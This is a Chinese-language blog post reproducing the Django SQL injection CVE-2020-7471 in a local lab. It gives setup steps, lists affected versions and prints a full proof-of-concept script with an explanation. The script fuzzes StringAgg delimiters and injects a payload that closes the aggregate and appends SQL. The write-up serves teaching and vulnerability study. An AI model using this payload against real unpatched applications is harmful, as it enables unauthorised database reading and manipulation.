CVE-2020-7471漏洞复现

文章目录

    • 1. CVE-2020-7471漏洞复现
      • 1.1. 漏洞简介
      • 1.2. 漏洞影响范围
      • 1.3. 漏洞环境搭建(parrot 5.3.0-3parrot3-amd64)
        • 1.3.1. 安装 django 漏洞版本(测试使用版本为3.0.2)
        • 1.3.2. 安装postgres 数据库
        • 1.3.3. 创建测试数据库test
        • 1.3.4. 下载CVE-2020-7471到本地
        • 1.3.5. 修改配置文件
        • 1.3.6. 利用CVE中的代码初始化测试数据库test中的表
        • 1.3.7. 运行 POC 脚本(CVE-2020-7471.py)查看结果
        • 1.3.8. 对POC 脚本(CVE-2020-7471.py)粗略分析
          • 1.3.8.1. initdb()函数
          • 1.3.8.2. query()函数
          • 1.3.8.3. query_with_evil()函数
    • 2. 总结

1. CVE-2020-7471漏洞复现

1.1. 漏洞简介

2020年2月3日,Django 官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义符号(\)并注入恶意SQL语句。

1.2. 漏洞影响范围

EG:

/受影响版本
Django 1.11.x < 1.11.28
Django 2.2.x < 2.2.10
Django 3.0.x < 3.0.3
Django 主开发分支

/不受影响产品版本
Django 1.11.28
Django 2.2.10
Django 3.0.3

1.3. 漏洞环境搭建(parrot 5.3.0-3parrot3-amd64)

1.3.1. 安装 django 漏洞版本(测试使用版本为3.0.2)

使用pip命令安装。
EG:

pip3 install django==3.0.2

1.3.2. 安装postgres 数据库

由于Debian默认包括PostgreSQL。要在Debian上安装PostgreSQL,可以直接使用apt-get(或其他apt-driving)命令,这里安装的是postgresql-11。
(其他安装方式见:Linux 上安装 PostgreSQL)
EG:

sudo apt-get install postgresql-11

1.3.3. 创建测试数据库test

初次安装postgres 数据库,系统会创建一个数据库超级用户 postgres,密码为空。使用命令(sudo -i -u postgres)进入postgres数据库,并创建测试数据库(test)。
EG:

sudo /etc/init.d/postgresql start
sudo -i -u postgres
psql
ALTER USER postgres WITH PASSWORD '123';
/更改用户postgres密码为123;
CREATE DATABASE test;

CVE-2020-7471漏洞复现_第1张图片

1.3.4. 下载CVE-2020-7471到本地

EG:

git clone https://github.com/Saferman/CVE-2020-7471.git

1.3.5. 修改配置文件

修改文件…/CVE-2020-7471/sqlvul_projects/settings.py 里面的第78列下的数据库配置,如果之前安装postgres数据库使用的默认配置(包括密码),就无需修改任何任何配置,可以跳过这一步(我这里更改了初始密码故需要更改);
EG:

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'test',         # 数据库名称
        'USER': 'postgres',
        'PASSWORD': '123', # 数据库用户密码
        'HOST': '127.0.0.1',    # 数据库地址
        'PORT': '5432',
    }
}

1.3.6. 利用CVE中的代码初始化测试数据库test中的表

EG:

python3 manage.py migrate
python3 manage.py makemigrations vul_app
python3 manage.py migrate vul_app

使用命令就可以查看到插入到test库中的表以及表中数据
EG:

sudo -i -u postgres
psql
\c test
\d
select * from vul_app_info;

CVE-2020-7471漏洞复现_第2张图片

1.3.7. 运行 POC 脚本(CVE-2020-7471.py)查看结果

EG:

python3 CVE-2020-7471.py

CVE-2020-7471漏洞复现_第3张图片

1.3.8. 对POC 脚本(CVE-2020-7471.py)粗略分析

EG:

# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")

# Django 版本大于等于1.7的时候,需要加上下面两句
if django.VERSION >= (1, 7):#自动判断版本
    django.setup()

from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count

"""
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
"""

def initdb():
    data = [('li','male'),('zhao','male'),('zhang','female')]
    for name,gender in data:
        Info.objects.get_or_create(name=name,gender=gender)

def query():
    # FUZZ delimiter
    error_c = []
    other_error_c = []
    for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
        results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
        try:
            for e in results:
                pass
        except IndexError:
            error_c.append(c)
        except:
            other_error_c.append(c)
    print(error_c)
    print(other_error_c)

def query_with_evil():
    '''
    注入点证明
    分别设置delimiter为 单引号 二个单引号 二个双引号
    尝试注释后面的内容 ')--
    :return:
    '''
    print("[+]正常的输出:")
    payload = '-'
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)
    print("[+]注入后的的输出:")
    payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
    results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
    for e in results:
        print(e)



if __name__ == '__main__':
    print(django.VERSION) # 测试版本 3.0.2
    initdb()
    query()
    query_with_evil()
1.3.8.1. initdb()函数

给管理器添加初始测试数据[(‘li’,‘male’),(‘zhao’,‘male’),(‘zhang’,‘female’)];

1.3.8.2. query()函数

进行模糊测试,找出当delimiter 的值为哪些字符时,会让程序运行出现错误(即使用哪些字符可能会干扰SQL语句的执行(将delimiter 输入的字符带入了SQL语句,破坏原有语句)),测试结果得出是单引号和百分号(具体测试流程可见文章:CVE-2020-7471 漏洞详细分析原理以及POC)。

1.3.8.3. query_with_evil()函数

进行注入点证明测试时,payload前后两个不同的赋值,是为了得到两个不同的结果,前一个使用正确的分隔符-,后一个是使用同样的分隔符-,但是后面带有SQL语句:

') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- 

数据库进行查询时,使得整个查询语句变为了:

SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", '-') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- 

(需要注意的是,由于POC是python写的,这里的payload = ‘-\’) AS … LIMIT 1 OFFSET 1 – ‘中的\’,反斜杠的作用只是在payload字符串赋值时转义单引号),payload中的-’),使得STRING_AGG(“vul_app_info”.“name”, ‘-’)右括号闭合了,导致了后面的SQL语句的执行。(输出只出现一条,是因为使用了LIMIT,这是为了证明该SQL语句确实被执行了)

2. 总结

此次漏洞复现的过程中,可能需要注意的是在不同操作系统上的postgres数据库的安装,容易出现意外的问题,再然后就是关于测试环境以及CVE文件中的配置。从POC脚本文件中也能看出,编写者证明漏洞注入点的思维的缜密性,最后对于,运行POC脚本的结果,也能直观的感受到漏洞的存在点,以及潜在的危害。这一次的漏洞复现经历,又是一次宝贵的学习经验。

[如有错误,请指出,拜托了<( _ _ )> !!!]

[参考文档]
https://github.com/Saferman/CVE-2020-7471
绿盟科技安全情报:Django SQL注入漏洞(CVE-2020-7471)威胁通告
CVE-2020-7471 漏洞详细分析原理以及POC

你可能感兴趣的:(漏洞复现)